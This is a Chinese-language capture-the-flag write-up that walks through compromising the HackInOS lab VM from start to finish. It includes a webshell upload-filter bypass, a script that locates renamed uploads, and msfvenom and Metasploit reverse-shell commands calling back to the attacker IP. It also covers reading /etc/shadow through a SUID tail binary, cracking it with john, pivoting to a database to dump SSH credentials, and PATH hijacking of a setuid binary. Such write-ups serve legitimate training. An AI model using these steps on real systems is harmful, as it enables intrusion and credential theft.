HackInOS Writeup

环境设置

靶机:192.168.1.24
攻击机:192.168.1.14

测试开始

  1. 先使用nmap对端口进行扫描
    nmap -T4 -A -Pn -n 192.168.1.24
    nmap_scan

  2. 在8000端口开启web服务,使用dirsearch进行目录扫描
    dirsearch -u http://192.168.1.24:8000 -e php
    dirsearch_scan

  3. 进入http://192.168.1.24:8000/upload.php是一个文件上传的页面,尝试上传木马。

  4. 在页面的源码中有一个注释,注释中有github链接
    github_url
    是该upload.php的源码
    upload_source

  5. 在上传中通过给木马文件添加GIF89和将gif后缀改为php,绕过上传限制,成功上传一句话木马

  6. php源代码中对上传的文件名进行了修改,编写一个扫描脚本,对木马文件进行扫描

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    import hashlib
    import requests

    def scan(website, file_name):
    target_dir = "uploads/"
    for i in range(1,100):
    shell_name = hashlib.md5((file_name + str(i)).encode('utf-8')).hexdigest()
    url = website + target_dir + str(shell_name) + ".php"
    resp = requests.get(url)
    if resp.status_code == 200:
    return url
    else:
    continue


    if __name__ == "__main__":
    shell_name = input("shell name is :")
    website = input("website is :")
    url = scan(website, shell_name)
    print("[+] %s" % url)
    print("[!] Done")
  7. 使用msf生成一个php/meterpreter/reverse_tcp的后门文件

    1
    msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.14 lport=4444 -f raw -o meterpreter.php

    将该后门通过一句话木马上传到网站的根目录下

  8. 启动msf,建立监听

    1
    2
    3
    4
    5
    use exploit/mtlti/handler
    set payload php/meterpreter/handler
    set lhost 192.168.1.14
    set lport 4444
    exploit -j

    使用浏览器访问/meterpreter.php,msf中获得到session

  9. 查看wp-config.php文件,获取数据库连接信息

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    // ** MySQL settings - You can get this info from your web host ** //
    /** The name of the database for WordPress */
    define('DB_NAME', 'wordpress');

    /** MySQL database username */
    define('DB_USER', 'wordpress');

    /** MySQL database password */
    define('DB_PASSWORD', 'wordpress');

    /** MySQL hostname */
    define('DB_HOST', 'db:3306');

    /** Database Charset to use in creating database tables. */
    define('DB_CHARSET', 'utf8');

    /** The Database Collate type. Don't change this if in doubt. */
    define('DB_COLLATE', '');

    数据库的地址为db,通过ping获得db的ip地址

    1
    2
    3
    4
    ping db
    PING db (172.18.0.3) 56(84) bytes of data.
    64 bytes from experimental_db_1.experimental_default (172.18.0.3): icmp_seq=1 ttl=64 time=0.065 ms
    64 bytes from experimental_db_1.experimental_default (172.18.0.3): icmp_seq=2 ttl=64 time=0.067 ms
  10. 上传linuxprivchecker.py对主机的基本信息进行收集

    1
    2
    3
    4
    5
    > upload linuxprivchecker.py
    > shell
    > python linuxprivchecker.py
    通过返回的数据分析,发现/usr/bin/tail具有SUID权限
    -rwsr-xr-x 1 root root 68584 Feb 22 2017 /usr/bin/tail

    通过tail查看shadow文件将结果保存在shadow.txt并下载回本地

  11. 使用john对密码进行解码

    1
    2
    john shadow.txt
    john shadow.txt --show

    john_result

  12. 通过python派生出一个bash(当前使用的是/bin/sh)

    1
    python -c 'import pty;pty.spawn("/bin/bash")'
  13. 通过新的shell切换登陆身份,进入root用户根目录下,发现flag文件

    1
    su root

    fake_flag

  14. 之前收集到一个数据库的地址和账号密码,尝试登陆数据库。先打通攻击机与172.18.0.3的连接通道。

  15. php的session有局限型,重新创建一个root权限python的session。

    1
    2
    3
    4
    5
    use exploit/multi/script/web_delivery
    set payload python/meterpreter/reverse_http
    set lhost 192.168.1.14
    set lport 80
    exploit

    python_meterpreter

  16. 在已有的php的session中输入命令 shell -t /bin/bash,启动一个bash,在bash中用 su提升至root权限。并在bash中执行上图的python代码,msf接收到一个新的session

  17. 通过post/multi/manage/autoroute模块自动添加路由信息

    1
    2
    3
    use post/multi/manage/autoroute
    set session 6
    exploit

    autoroute

  18. 在root权限的bash中执行mysql远程登陆命令

    1
    2
    3
    4
    mysql -h 172.18.0.3 -u wordpress -p
    wordpress
    use wordpress;
    select * from host_ssh_cred;

    login_passwd

  19. 将pw内容进行解密,得到密码123456,尝试通过ssh远程登陆靶机的ssh

  20. 登陆后发现Desktop目录下有一个a.out可执行文件
    a_out

  21. 通过scp将a.out下载到本地进行分析,首先使用binwalk进行检查,发现是一个elf可执行文件

    image-20200811094656443

  22. 将a.out文件放进ghidra中进行反编译分析,查看main函数,通过看反编译代码,发现a.out首先通过 setgid(0)setuid(0)将当前进程设置为root权限,然后执行系统命令 whoami

    image-20200811095557860

  23. 劫持whoami的执行路径,在/tmp路径下生成一个whoami文件,其内容为/bin/bash

    1
    2
    echo "/bin/bash" > /tmp/whoami
    chmod 777 /tmp/whoami
  24. 将/tmp路径添加到环境变量PATH的最前面,就可以获取root的shell

    1
    export PATH=/tmp:$PATH
  25. 再次执行a.out,返回root权限的shell

  26. 进入/root目录,看到flag